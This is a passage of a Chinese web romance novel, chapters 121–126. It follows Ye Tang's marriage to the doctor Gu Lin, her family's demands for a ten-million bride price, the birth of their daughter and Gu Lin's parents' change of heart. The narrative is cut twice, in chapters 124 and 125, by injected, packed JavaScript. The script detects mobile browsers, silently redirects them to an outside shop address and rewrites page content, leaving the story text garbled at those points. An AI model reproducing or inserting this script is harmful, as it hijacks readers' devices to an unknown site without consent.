最先打来电话的是母亲。 “棠棠,你跟谁结婚了?结婚这么大的事情,怎么跟我们讲一声啊?对方是什么人啊?什么家庭啊?配不配得上你啊?” 叶棠躺在沙发上,吃着顾临上班前,给她剥的桔子,淡悠悠地说,“是顾临。” “啊?”母亲一时语塞,半晌才有声音出来,“你和顾临结婚了?我还以为你们……老死不相往来了呢。” 虽然当年顾临对叶家的付出,毫无保留。 但叶母知道,顾家人没瞧上她家的女儿,“那顾家的父亲,同意你们婚事了?什么时候办婚礼啊?” 第121章 没苦硬吃 “我们没打算办婚礼,而且,我现在怀孕了,也没有心情办婚礼。” 叶棠觉得桔子不够酸。 又丢了颗溜溜梅到嘴里,嚼着,“行了,你就别操心了,等顾临休班,我带他回家一趟。” 叶母千言万语。 也不知道从何说起。 “那,那,好吧,等你们回来再说吧。” 其实,叶家的父母也很难缠。 但现在叶棠养家,她们的脾气必需收着点,有不满,也不敢大肆渲染,生怕叶棠一气之下,断了他们的经济来源。 结婚后。 叶棠和顾临住在他们十年买的这套房里。 顾临工作很忙。 经常全国各地跑地,去搞学术研究,做手术。 他说,这样可以赚多一点奶粉钱。 叶棠知道顾临,给了自己太多的压力。 这份压力,缘自责任。 她欣慰的同时,也很心疼他。 挑了个顾临休息的日子,叶棠带他回了趟娘家。 自从叶棠赚钱后。 叶家父母就变着法地,向她要钱,要房,要车。 最近更是提出来要买一幢别墅居住。 叶棠没同意。 父母对她很有意见。 “爸,妈,这是给您二老带的礼物。”顾临礼貌又恭敬地递上。 叶母王慧假着笑,接过来,“顾临啊,没想到,你到底成了我的女婿,我还以为我们家棠棠嫁了个更厉害的呢。” 叶棠皱眉,怎么还能说这么不懂事的话呢,“妈,你胡说什么呢,还有比顾临还厉害的?就算有厉害的,人家帮你治病了,还是帮我爸还债了?” “话也不能这么说,你现在这么有能耐,我觉得,他……还是多少有点配不上你的。” 王慧的声音不算大。 但是传进顾临的耳中,就像在啪啪地打他的脸。 “确实是。”顾临笑着说,面色有点苦。 叶棠握紧了他的手,“别听我妈乱讲。” “说那个干嘛了。”叶父将叶母拽了一下,生气地瞪她,“赶紧的去看看饭烧得怎么样了,净说些有的没的。” 叶父虽然现在也瞧不上顾临。 但他会做表面功夫。 至少不会让人下不来台。 吃饭的时候,叶家父母问了顾临的收入后,那副瞧不上的嘴脸,越发的明显了许多。 “小顾啊,我知道你们家是做实业的,挺有钱的,娶了我们家棠棠,你父母没有表示表示吗?你们可算是青梅竹马哦,说什么时候办婚礼了吗?”叶父问。 顾临很难堪。 婚礼的事情,他其实有在考虑,就是自己的存款并不多,而他想给叶棠一个隆重的婚礼,这就需要他再攒一段时间。 “爸,我和棠棠……” “我们不办婚礼。”叶棠不想顾临难堪,将话接了过去,“婚礼有什么可办的?我现在怀孕了,孕反严重,这婚礼又累,没苦硬吃啊?” “那不办婚礼,双方父母总得见个面吧,谈一下彩礼,聘金之类的。”王慧抻着脖子,生怕吃了亏般的,“顾临,你不会因为跟我女儿领了结婚证,这些东西,就觉得可以省了吧?” “没,没有。”顾临从来没有想过跟叶棠裸婚。 只是他现在条件有限。 “妈,你放心,彩礼,聘礼,我都会给的。” 王慧不相信他的话。 现在的顾临跟十年前,不一样了,一个寒酸的医生,没有家庭的助力,给个鸡毛啊。 她清了清嗓子,“那你打算给多少啊?” “您说。”顾临态度虔诚。 王慧也不客气,“我们家棠棠现在的能力可是不容小觑的,这彩礼最少也得是……一千万。” “妈,你是不是脑子进水了,什么就一千万了?他是医生,又不是富豪,你可真够可以的。” 叶棠很生气,将筷子拍在了桌面上,“你们差不多得了,什么彩礼,什么聘礼的,我都不要,你们死心吧。” 王慧不同意。 这女儿也是她从小养大的。 别人家嫁女儿,风风光光的。 她嫁女儿没婚礼也就罢了,连彩礼也不给,说出去,让人笑话。 “彩礼是给我和你爸的,又不是给你的,你瞎激动个什么劲?我们把你养大容易吗?你这个死丫头,怎么一点良心都没有。” “给你们,你们花得了吗?” 叶棠生气了。 不留余地的那种,“做人得讲良心,当年我们家那么难,如果不是顾临,妈你早死了,我爸也会被债主打死,弟弟也不可能有学上,怎么着,现在我赚着钱了,你们还嫌弃上他了?你们有什么资格嫌弃他?我告诉你们,彩礼一分没有。” “你,你……”王慧被气到,捂着自己的胸口大喘气,“……叶棠啊叶棠,你想把你妈给气死啊,我告诉你,没有彩礼,我们就不认你们这门亲事,你就不是我女儿。” “不是就不是。” 叶棠起身,牵起顾临的手就往外走。 叶父着急忙慌地去拦,“棠棠,你看你,生什么气嘛,你妈就是那脾气,你就别跟她较真了。” 顾临也劝她,“给彩礼很正常的,别跟妈吵了,懂点事。” 叶棠谁的话都没听。 直接将顾临拉到车里。 锁门,踩油门,一路没停地开回了自己的家里。 因为自己,叶棠和家里闹了不愉快,顾临很自责。 “何必跟父母吵呢,我觉得妈要一千万,也在情理之中,毕竟你一年也不止赚一千万,她没有要多。” 叶棠皱着眉头,看向顾临,“你有一千万吗?你都被顾家扫地出门了,你从哪里凑这一千万?顾临,别打肿脸充胖子,真的不需要。” “我……”他确实有点难堪。 叶棠叹息,走到他面前,伸手抱住了他的腰,“你家人没看上我,我家人也嫌弃你,咱们扯平了,以后我们就好好的过我们的日子,不要去在意别人的声音,好不好?” 顾临眼眶泛酸。 他是真的想给叶家彩礼。 他是真的想给叶棠一个隆重的婚礼。 他真的想扛起这个家的责任。 可他现在真的……,是有心无力。 “抱歉,叶棠……” “不许说抱歉,有钱没钱,不影响我爱你顾临,但你要是表现得不够爱我,那我随时会不爱你,你知道的,我这个人必需情绪价值喂得饱饱的。” 顾临笑了。 将叶棠在怀中抱紧,“我会努力工作的,现在我跟我的老师正在搞一个药物的研发,如果成功的话,会有几千万的回报。” “不急,不重要,我们有钱没钱,都可以过很好。”她温柔地在他的唇上吻了一下,“只要你在工作中,找到自己的价值,做个快乐的小医生,我就会很开心。” 第122章 你手头宽裕吗 温疏亦生二胎了。 是一个漂亮的小公主。 顾临带着叶棠去看望。 温疏亦的状态还不错,奶水也充足,她坚持母乳,盛珽妄也就依了她。 “疏亦,你家小宝贝可真漂亮,皮肤也好白哦,很少看到这么小的婴儿,这么好看的。” 叶棠抱着爱不释手。 小宝贝的小嘴吮啊吮的,她心痒痒地厉害。 温疏亦怕累着她,忙请她坐下,“叶总,你的预产期,在哪天啊?” “还有两个月吧,不过也快了,最近我正找合适的月子中心。”她突然想到了什么,“疏亦,你们定的哪儿的月子中心啊?” “在月亮湾。”温疏亦说。 叶棠也属意那家月子中心的。 月亮湾在华城,是最高档的月子中心,一个月的花费近百万。 盛珽妄自然是有实力。 但顾临没有。 他将盛珽妄叫出了病房。 “那个……你手头宽裕吗?”他有些尴尬,也有些许的不好意思。 盛珽妄眉心微动,“怎么了?遇到难事了?” “叶棠这不是要生了吗?你也听到了,她也想去月亮湾月子中心……”他嘲弄地笑着自己,“……你也知道,我月收入并不多,但我想让她……” 盛珽妄与顾临从小认识。 他可从来没有为钱犯过愁。 一百万,对于以前的顾临来说,根本不算钱。 盛珽妄握了握他的肩,“你和你爸还是没有和解?” “没有。” “没和解就没和解吧,总有一天,他会理解你的。”盛珽妄拿出手机,给顾临转了五百万,“这钱,你拿去先花着,不急着还。” 顾临心涩,苦笑着,“我挺没用的。” “别这么说,叶棠如果真是爱财的人,就不会嫁给你了,做医生嘛,赚不到很多的钱,也很正常,别往心里去。” 顾临眼眶红了。 他气自己,背过身去擦了把泪。 盛珽妄心里不是滋味,拍了拍他的背。 叶棠走出病房,刚好听到这些。 指尖在凸起的腹上,紧紧地抓了一下。 她觉得,这样下去,顾临要抑郁了。 她特意呆了一会儿,才走过去,“顾临。珽妄。” 盛珽妄望向她,语气平静地说,“叶棠,你也要注意身体,到时疏亦坐月子的时候,我提前给你们在月亮湾先排个号,顾临的意思,也是希望你去那儿。” 叶棠微微一笑,挽住了顾临的手臂。 “好啊,我听说一屋难求呢,待会儿,我给你转账。” “顾临给了。”他说。 叶棠看向顾临,他眼眶还红着,她没问,“那我们就先回去了,你照顾好疏亦,恭喜你啊,儿女双全了。” “谢谢。” …… 回家的路上。 顾临开着车,心不在焉的样子。 叶棠没话找的话,跟他聊天,他也是有一句没一句地回着。 “怎么了?在想什么?”她问。 顾临哦了一声,“没想什么。” “没想什么,那是想什么?”她握住了他的大手,“有心事啊?” 他神色收紧,似是想到了什么,“我医院和研究的项目,临时多加了几个,等你生完宝宝,我可能就得把精力全啊用这些上面,是自己的专利,到时会有不错的回报。” 叶棠深呼吸。 还是因为钱的事情。 “顾临,你别太累了,咱们两个每个月花不了多少钱,你看你的工资卡在这儿的消费记录……每个月都有结余的。” 他笑了笑。 很苦命的样子,“过几天,有一笔项目金会到账,差不多一百多万的样子,你去买个包。” “我又不喜欢包包。”叶棠感觉,顾临把自己逼到了死胡同,“你别太累了,咱们家真的花不了太多钱。” “嗯,我知道。” 他答应着。 但心里在想什么。 叶棠心知肚明。 她觉得这样下去,真不是办法。 可目前又找不出,可以改善的办法。 …… 时间荏苒。 两个月后。 叶棠有了生产的迹象。 顾临为她找了最好的妇产科医生,为她接生。 第一次生产,叶棠害怕,又期待。 好在生产还算顺利。 疼了一天一夜后,她生下了一个女儿。 “顾医生,你女儿长得好像你哦,尤其是嘴巴。” “我觉得这宝宝更像妈妈,皮肤很白呢。” “女儿像爸爸,肯定像顾医生更多啦。” “不管像谁啊,反正将来,都会是一个小美女来着。” 护士们围着宝宝,叽叽喳喳地相继离开。 叶棠体质不错。 此刻,她正满意地看着婴儿床里的女儿,给她拍各种照片,准备一会儿发个朋友圈。 “刚生完宝宝,不能看手机。”顾临怕她眼睛累着。 叶棠乖乖放下手机,“就拍几张照片。” 月亮湾那边打来电话,说随时可以去入住。 顾临在打电话问各方面的细节。 看着男人站在窗口前的背影。 她想到了那天…… 和顾临回到家后,他去医院上班,她便给盛珽妄打了个电话。 “见一面吧,我有事情,要问你。” 那头似乎也明白她的意思,“就在医院楼下的咖啡厅吧。” “好。” 咖啡厅里。 没等盛珽妄问。 叶棠就先说,“你给顾临转了多少钱?” “怎么问这个?”他并不急着要。 叶棠扯唇,透出艰涩,“说实在的,我没有想到顾临心会如此重,他平时吊儿郎当的惯了,我以为他除了有点小骄傲,心挺大的,没想到……” “确实,他是有压力的,毕竟医生不是商人,工资再高,对于他对你想要付出的,还远远不够,我也劝过他,可他不听劝。” 盛珽妄摇头。 尽是道不尽的无奈。 他与叶棠的感觉差不多。 再这样下去,顾临真得出事。 “我先把钱转给你吧。”叶棠将五百万,还给了盛珽妄,“这事,你别跟他讲。” “嗯。” 叶棠收起手机,端起桌上的果汁轻啜了一口,“顾家看不上我,连累着顾临跟着受苦,是我不愿意的,但……你知道的,我也不是多物质的女人,我不喜欢奢侈品,开公司,纯粹是为了完成梦想,而非赚钱,他一月几万块的薪资,我真的花不完的。” 叶棠苦笑着。 她也不知道盛珽妄信不信。 但现实就是如此。 “我很喜欢平淡的生活,十年了,我们该轰轰烈烈过的,都拥有过了,钱,对于我来说,不是最重要的,他一点都不懂我。” 盛珽妄站在男人的立场上。 很容易理解这事。 赚钱,养家,养孩子,是男人与生俱来的本能。 顾临是男人,不例外。 当然,这也关乎于男人的尊严。 第123章 她蛮厉害的,生了个人 “他确实是有点……让人心疼。” 这是盛珽妄的最直观的感受。 一个富家少爷,从小就为所欲为,选择了自己喜欢的专业,做着自己喜欢的工作。 突然有一天发现,自己的工作的报酬,对于一个养家的男人来说,远远不够。 他痛苦,挣扎。 他拼命地寻找赚钱的门路。 拼命的工作,搞科研,卖专利,说到底,他太想给自己爱的女人一个保障。 理解归理解。 但叶棠太心疼他了。 盛珽妄也是。 “珽妄,有机会,你还是得帮我再劝劝他,男人并不是一定要赚很多钱,才能有成就感,把婚姻,把家庭经营好了,同样很棒,我需要的是一个健康的,开心的丈夫,而不是一个天天为了赚钱,莫名给自己很多压力的老公。” “放心吧,我会劝他的。” 叶棠收回思绪。 低头看向宝宝可爱的小脸。 她蛮厉害的,生了个人。 顾临打完电话走过来说,“月子中心那边说了,会根据你的喜好,订制食谱,到时过去的时候,他们那边会再跟你确定一下。” “嗯,好。” “那个……”他有一些事情,要跟她讲一声,“……我注册了一家公司,专门研究临床器械和药物的,目前已经在融资了,反响不错,我手头刚好也有几个项目,是和医院里做的,准备拿来在新公司试水,之所以没跟你讲,是怕你担心……” 叶棠错愕之余,反倒也释怀了。 他终究还是走出了舒适圈。 她总觉得,是自己害了他。 明明他是那样一个‘不思进取’的人啊。 “挺好的。” 顾临微怔,“你不怪我,这事没提前跟你打招呼?” “这有什么关系呢?你提前跟我讲了,我反对,你就不去做吗?顾临,我认识你多少年了,我能不了解你吗?” 顾临稍稍有一些抱歉,“对不起啊棠棠,我太想做一番事业了,可是别的我都不会,我只能是做这一行。” “想做就去做吧,如果需要我投资,我也可以投资一些。” 她没有生气。 反而很温柔地摸了摸他的头发,“不是什么大事。” “谢谢你棠棠。” 他抱着她,脑袋压到了她的胸,她疼得推开了他,“压到乳腺了,离我远一点。” “哦,好,好。” 他小心翼翼的,生怕碰到叶棠。 动作放得极轻,呼吸都敛着。 目光再次落在女儿熟睡的小脸上时,眼底的温柔便浓得怎么也化不开。 傻傻地望了好一会儿,他才压低声音,问向叶棠:“棠棠……我给女儿取个小名吧。” 叶棠侧过头,轻声:“想叫什么?” 他瞧着女儿胖嘟嘟的脸颊,小胳膊小腿儿像藕节似的,心里涌起一股爱不释手的喜欢,“叫肉肉吧,瞧她肉乎乎的,多可爱。” 叶棠微微蹙眉,“不好听。” 顾临凝神又想。 “那……叫水水?小姑娘家,清净柔润,像水一样。” “还是不太好听。”叶棠声音软软的,很温柔,“想一个更萌一点的,听着心里就发甜的那种。” 他怔了怔,视线在叶棠恬静的容颜与女儿酣睡的小脸间打了个转。 有了一个新的名字上。 “叫汤圆,好不好?你名字里有‘棠’,棠,汤,圆圆满满的,”他很满意,臭屁地笑着,“这不就是‘汤圆’么?圆滚滚,软糯糯,又甜又暖,天哪,我可真佩服我自己,我可真有才华。” 叶棠被他逗笑。 低头看了看小小的团子。 这个名字,还真的不错。 她终于点头,“那就叫汤圆吧。” 叶棠坐月子的日子里。 顾临除了照顾她外,每天几乎都工作到凌晨。 虽然是开公司,但做的还是他擅长的事情,叶棠除了担心他身体吃不消,别的倒也没什么。 “叶小姐。”负责照顾她饮食的护士,走进来,跟她讲话,“访客登记那边,有一个叫许明珠的,想要来看望您,是您的朋友吗?” 正在喝汤的叶棠,差一点将碗丢出去。 现在顾临没在。 许明珠来了? “她,她……现在在哪儿?” “就在外面会客区等着呢,我得等您同意了,才能让访客进来。” 叶棠放下汤碗,“请她进来吧。” “好的。” 护士离开。 差不多十分钟的样子。 许明珠走进了她的房间。 其实,以前叶棠见过许明珠,她长得很大气,打扮也很雍容华贵。 顾临有七分长相像她。 但她没有跟许明珠打过很深的交道。 “您来了。”叶棠用了敬语。 许明珠淡淡的看了她一眼,没多少感情,也没多少情绪,“看起来,你恢复得还不错。” “挺好的。” 叶棠想下床。 许明珠抬手阻止了,“躺着吧,月子里别乱活动。” “哦。” 许明珠去婴儿床看了宝宝。 她看起来,还是蛮喜欢这个小婴儿的,抱着她,跟她哦唔哦唔的说了会儿话。 “女孩?”她问。 叶棠答,“嗯。” “挺好的,这孩子长得像顾临。” 许明珠将宝宝轻轻地放下,收起慈爱。 正经地跟叶棠说话,“和顾临领证这么久,这小子一天家也没有回,你也不劝劝?” 这事,叶棠确实不知道。 可能顾临心里也有气吧。 “我不太清楚,所以……” “叶棠。”许明珠打断了她的解释,“这儿子不回家,你作为儿媳妇,有不可推卸的责任,知道吗?” 叶棠:…… 这跟她有什么关系。 又不是她不让顾临回去的。 “阿姨,这跟我好像没有直接关系吧?顾临是成年人,他想回家看望父母,我还能把他拴住吗?” 叶棠本不想跟许明珠吵的。 但指责她,得有根据,乱指责,她是不会认的。 “你在跟我顶嘴吗?”许明珠脸色一沉。 叶棠收回锋利,声音压低了许多,“我没跟您顶嘴,我是阐述事实,您要有什么事情,直接跟他沟通,犯不着,拿我出气。” 许明珠抬手,“算了,我也不是找你出气,儿子不懂事是肯定的了,我们做父母的,也有做得不周到的地方,这孩子都生了,也没有给你个见面礼什么的。” 她起身走到叶棠的面前,将自己手上戴的紫色翡翠冰种手镯,直接撸下来,套到了叶棠的手腕上,“这镯子,我戴了有年头了,现在给你。” 叶棠不太懂她的意思。 傻傻地眨了眨眼睛。 这时,顾临回来了。 他看到自己的妈在这儿,第一个冒出来的想法,就是叶棠受欺负了。 “妈。” 第124章 打不过就加入 “妈,棠棠现在正在坐月子,您有什么事,直接跟我说就行。” 顾临几乎是小跑着冲到了叶棠和许明珠中间,高大的身影像座山。 叶棠悄悄揪了揪他的袖口,想说,让他别误会。 许明珠看着儿子这副如临大敌的模样,满是气的冷哼,“怎么?怕我吃了她?你就光怕你媳妇受委屈,就不怕你亲妈被气出个好歹?你这媳妇,可未必是省油的灯。” “她是不是省油的灯我不管,”顾临寸步不让,话赶着话,“但妈您,可是出了名的不讲情面。” 他护妻心切,只想快点结束这场没必要的接触,“您先回去吧,这儿有我就行。” “顾临!”叶棠急忙从后面轻轻拉他的胳膊,“阿姨真没为难我,你别这样。” 许明珠从鼻子里哼了一声,白着儿子,“听见没有?人家叶棠多明事理,哪像你,跟个炮仗似的,一点就着!” 话虽硬,语气却缓了些。 “那是叶棠懂事,才这么说的。”顾临也不想把本就僵持不下的关系,搞得再恶劣一些,但在母亲和妻子中间,他毫不犹豫地会选择站叶棠,“行了,您赶紧回去吧,以后也不要再来了。” “你这臭小子!”许明珠一听这话,火气又上来了,扬手就朝顾临胳膊上拍了两下,觉得不解气,又往他结实后背捶了两拳,“反了你了!我是我亲孙女的奶奶,我想来就来,你管得着吗?我偏要来,天天来!” “阿姨,阿姨您别生气。”叶棠这次用了点力,把绷着脸的顾临往自己身后拉了拉,“顾临他跟您说气话呢,您随时来看孩子,我们欢迎的。” “……行了行了。” 许明珠挥挥手。 脸上的无奈渐渐收起。 她低头从随身的名牌包里拿出一张卡,不由分说地塞进叶棠手里。 “不管怎么说,孩子是我们顾家的血脉,我这当奶奶的,不能一毛不拔。” 她的语气硬邦邦的,却透着不容拒绝,“这月子中心不便宜,费用我出了。你好好养着,把身体恢复好,比什么都强。” 叶棠握着那张尚有体温的卡,忙拒绝,“阿姨,真的不用,我们……” “你们什么?”许明珠打断她,“就顾临挣的那点死工资,撑死够你们日常开销,这种地方他负担得起?我总不能让你自己拿钱坐月子吧,拿着吧,这次不收,过了这村可就没这店了。” 许明珠不会跟自己的孩子真生气。 她性子爽朗。 顾临多半是随了她。 叶棠并不讨厌这个婆婆,甚至欣赏她的直爽。 便也不再扭捏推拒,将卡轻轻握紧。 “那……谢谢阿姨,我就收下了。” “嗯。”许明珠应了一声,算是了结这桩事。 她转向儿子,“顾临,你,跟我出来一下,有点话跟你说。” 顾临扶着叶棠,让她重新在床边坐稳,低声嘱咐:“你好好休息,别乱动,我去去就回。” 叶棠点点头,握住他的手轻轻捏了捏,“好好跟你妈说话,别犯倔。我觉得……阿姨这人,性格还挺好的。” 顾临揉了揉她的发顶,打趣道,“不让你进门的婆婆妈,你还看着挺好的?脑子坏掉了吧。” “哎呀。”叶棠啧。 “我去去就回。” 顾临离开房间,来到月子中心相对安静的大厅休息区, 问及母亲来到这儿的原因,“您过来……是有什么事情吗?” 许明珠转过身,问:“叶棠生孩子,这么大的事,你就打算这么瞒着家里,一声不吭?” 她的指责里,带着明显的不满和被排除在外的失落。 顾临听到这话,懵了,眼睛瞪大,“妈,您讲点道理行吗?你听听你在说什么?你们把我赶出顾家,不接受我的老婆,生孩子我还要跟你们说一声?我难道还特意找上门去挨骂吗?” “当初不同意你和叶棠,是怕你再次受伤害,我们也是为你好,你这小子,还真是好赖不分。” 顾临无语。 反正,婚也结了,现在孩子也生了。 他已经有了新的人生规划。 父母的接受与否,对他来说,也没那么重要了。 “是,我是好赖不分,但事实就是这样,你们现在还是不会接受叶棠,不过是觉得她生了一个姓顾的孩子,真的妈,大可不必。” 顾临是有一些情绪在的。 许明珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063869|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里也不好受。 她能出现在这儿,其实就是做了妥协的。 “什么就大可不必了,我今天过来,是想跟你说……”许明珠没拐弯,“……这证都领了,不办婚礼,也说不过去,你协调一下,两家家长见个面吧,聊一下娶亲的具体事宜。” 顾临一愣。 什么情况? 这是要走流程了吗? “您……什么意思?” “顾家娶儿媳妇,那可是有一套程序和礼法的,他们家要多少彩礼啊,我们如何下聘啊,还方方面面,点点滴滴的事情多了去了,两家父母不得见个面,坐下来慢慢谈?” 许明珠看了儿子一眼,又说,“你爸也是这么个意思,你当年和叶棠谈恋爱我们不同意,你也没听我们的,这次更是,我们就当你……被她下蛊了吧。” 许明珠想不通,顾临非叶棠不可这件事情。 为此,她还特意,请了大师来看儿子的姻缘。 大师说了,两个是红鸾天定,正缘,无论怎么拆都拆不散的。 就算是中间拆散了。 各自经历了感情,又或是婚姻后,还是会在一起的。 许明珠和顾长青心**。 打不过就加入吧。 也就接受了这个儿媳妇。 这次叶棠生孩子,老两口也是在家里商量了许久,才由许明珠过来探望。 叶棠对她的感受还不错。 除了有些脾气,这各方面,做儿媳妇也差不到哪里去。 顾家在华城,也算是有头有脸的人家。 虽然顾临有姐姐,但算是独子。 这婚礼得风风光光地办。 不能丢了顾家的脸面。 许明珠看向儿子,“别傻笑了,你跟叶棠回家见过她父母没有啊?” 顾临点头。 想到了那一千万的彩礼。 “叶棠的爸妈提出过,要一千万的礼金,叶棠坚持不要,而我也……没那么多钱,所以,这事就暂时搁置了。” 许明珠点头,“一千万不算多,哪家娶媳妇不花钱,那就约在一起吃个饭吧,他们有什么要求,可以再提一下。” “那就等叶棠坐完月子再说吧。” 许明珠同意,“可以。” 第125章 扶弟魔 送走母亲后。 顾临跟叶棠说了这事。 叶棠:…… 虽然,顾家对她和顾临的婚事,有了接受的意思。 但…… 这个面非见不可吗? “我怕我爸妈满嘴跑火车,他们这几年,被我养的胃口大了,到时候,丢脸倒也算了,我是怕你父母……”毕竟顾家是体面人家,“……要不,还是算了吧。” “没关系的。”顾临不介意。 可是叶棠知道,顾家的父母肯定介意。 “顾临,真的没必要……” “有必要的。” 叶棠拗不过顾临,只好应下,“那我抽个空,回家一趟,跟我父母交代一下吧,免得到时,搞到大家不欢而散。” “行,怎么着都行,听你的。” 叶棠出了月子后。 回了一趟娘家。 “你总算是回来了,宝宝呢?没一起带回来?”母亲王慧往叶棠身后看了一眼,“顾临也没跟你一起回来?” “没有,就我一个人。” 叶棠走进客厅,弯身坐了下来。 也不知道是自己年纪大了,还是照看宝宝累的,总觉得没什么力气,疲惫得很。 “妈,给我冲杯红枣羹。” “行,你等一会儿啊。” 王慧给女儿冲了红枣羹,还加了两个红糖蛋。 “是不是月子没坐好啊?” 叶棠摇头,“不是。” “那是顾临没把你照顾好吧?是不是晚上都是你自己起来看孩子,他只顾着睡大觉?” 指责的话很明显。 叶棠不悦,“他是个医生,晚上帮我看孩子,白天他还要不要给别人动手术了,他现在还得在医院里过度一个月,才能正式下来呢。” 王慧知道顾临要开公司的事情。 她其实还挺满意的。 “那就自己看孩子啊?” “有月嫂。”叶棠放下杯子,开始说正事,“妈,我跟你们说件事情,顾家父母说要为我和顾临办婚礼,之前……想跟你们见个面。” 王慧一听。 这顾家是准备要跟他们结亲啊。 一时兴奋道,“好啊,我早就盼着这一天了。” “你也别激动,我这次过来,就是提前跟你们说一声,彩礼呢别一张口就一千万,让人家觉得咱们家的人都不正常,好好谈,谈不了就别说话,明白?” 王慧嘶。 这个女儿,怎么胳膊肘往个拐,“那我就一个女儿,他们好意思不给彩礼吗?” “他们给是他们的心意,你别狮子大开口,像没见过钱似的,否则……” 叶棠给了母亲一个你懂得的眼神。 王慧白了女儿一眼,“好,我都听你的,他们爱给多少给多少,你答应给我和你爸的养老钱,是不是也得加点了?” “一个月十万,你还嫌少?” “那你弟弟这眼瞅着也要结婚了,人家女方那边要房要车要彩礼的,我手头哪有那么多钱啊,要不,你给你弟弟买套房,再买辆奔驰,彩礼钱,我就不问你要了。” 王慧理所当然地说着。 叶棠气笑了,“我该你的?” “你这孩子,怎么说话呢,你是弟弟的姐姐,你帮帮他不是应该的吗?” “我孝顺你和我爸应该,我还要孝顺他?”叶棠气得直接起身,“他有本事就把媳妇娶了,没本事就打光棍,我还要给他买房买车,我是冤大头?扶弟魔?” 王慧对女儿的态度,很是不满。 “大家都是一家人,你听听你这话说的,你有能力帮帮他,我和你爸会感激你的,你帮他,就等于帮我们了不是吗?” 没等叶棠开口,她又说,“你看你现在又要嫁进顾家,做少奶奶了,你要是连自己的弟弟都不帮,这传出去,笑话你不说,还笑话顾家,你说是不是?” “别跟我来这套。” 叶棠可不是随便就被威胁的人。 她之所以有今天的成就,就是因为她不会被别人的情感左右。 对顾临如此。 对家人更是如此。 不近人情是她的底色,企图用亲情**她,只会自食其果。 “我看是一月给你们十万,冲昏了你们的头脑了,从下个月开始,减半。” 叶棠抓起包,往外走。 王慧一听生活费直接由十万变五万。 三步并两步的追了过去,“叶棠,你别生气啊,你不帮就不帮吧,妈又没怪你,你要减了妈的生活费,妈真的活不了了……” 说着,王慧就拍大腿,哭了起来。 叶棠淡淡地扫了她一眼。 神色淡然地说,“与顾家见面时,要是表现得好,我会考虑不降你们的生活费。” 王慧点头,“知道了。” 彩礼的事情,她不提,不代表别人不会提。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064552|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>…… 回家时。 家里突然多了一些人。 许明珠,顾长青,还有顾家的管家。 “少夫人回来了。”管家热情地上前,接过她的包,“先生和夫人,过来看望小小姐,还顺道给您带了一些滋补品。” 叶棠看着屋里这满满当当的礼品盒。 和客厅中间站着的顾长青。 心里早就慌的一批。 “叔叔,您来了。” “过来看看孩子。”顾长青打心眼里不喜欢这个儿媳妇,但事已至此,他长辈的风度还是得拿出来的,“这阿临忙着与医院交接工作,又忙着新公司的事情,你照顾孩子,辛苦了。” 叶棠:…… “不辛苦,应该的,宝宝很好带,而且有月嫂帮我,不累。” 顾长青点了点头,便也没再说什么。 许明珠从卧室里走出来。 看到叶棠回来,脸色也没有多少变化,“你这个房子太小了,我们在市中的别墅区,给你们买了一套别墅……” 许明珠抬了抬指尖。 管家便赶紧将她的包,递了过去。 许明珠从包里拿出一本房产证。 递给叶棠,“房子装修好了,你们挑个时间,就搬过去住。” 叶棠不知道该接这份礼物,还是温婉拒绝。 她其实在这家里住习惯了。 一百二十平,不算小,也谈不上大。 再加个孩子,也够住的。 看叶棠在犹豫。 许明珠把房产证强行塞到了她的手里,“墨迹什么呢,收下就好了。” “哦。” 许明珠唇角扬起笑意,对着顾长青说,“行了,咱们也回吧。” “叔叔,阿姨慢走。” 叶棠亲自到门口送客。 电梯打开,她目送一行人走进电梯。 电梯门慢慢关上,她听到顾长青的声音,“不是都登记结婚了吗?怎么还叫我们叔叔阿姨的?” “你给改口钱了吗?就想听她叫爸?” 二人的声音越来越小,越走越远…… 叶棠回神,打开手上的红色房产证。 看到所有权人后面的名字,她怔住了。 写的她的名字。 将近五百平的别墅。 价值近亿的别墅,写了她的名字…… 天哪。 她还叫人家叔叔阿姨? 叶棠:……这是亲爹亲妈啊…… 第126章 他是富家少爷,而她像个暴发户 顾叶两家见面的日子,被顾家定在了华城最顶级的云端餐厅。 餐厅位于城市地标建筑的顶层,人均消费三万八千八百八十八。 璀璨的水晶灯,从挑高近十米的天穹垂落,宛若流星。 光泽温润的大理石地面,亮得可以倒映出,窗外璀璨的江景与霓虹。 酒店服装统一的服务生,眉眼间都是恰到好处的恭敬。 空气里飘着食物的香气,远处现场演奏钢琴曲悠扬。 奢靡。 却又令人望而却步。 这是叶家人第一次踏足这样的地方。 就算是已经有不错经济能力的叶棠,也从来没有来过如此顶级的餐厅。 她侧身向身旁的顾临靠近了半分,用只有两个人能听到的声音:“顾临,这地方……是不是太破费了?其实不用这样的。” 顾临轻轻拍了拍她的手背,“一辈子就会这么一次亲家,不算什么。” 他语气温和,带着一种理所当然的底气,那是从小浸润在优渥的成长环境里,才能养出来的从容。 叶棠心头微微一动。 这一刻,她清晰地感受到了“阶层”的含义。 一直富足和后来富足,终究是两回事。 那种镌刻在骨子里的松弛,是金钱数字一时半会无法填补的。 顾临,到底是富家少爷。 而她……,只是有一些运气的暴发户。 叶家这次来的人很全。 除了父母王慧和叶刚,弟弟叶宇也带上了他的女朋友刘涵。 等候入座时,刘涵难掩兴奋,眼睛不住地打量四周华贵的装潢。 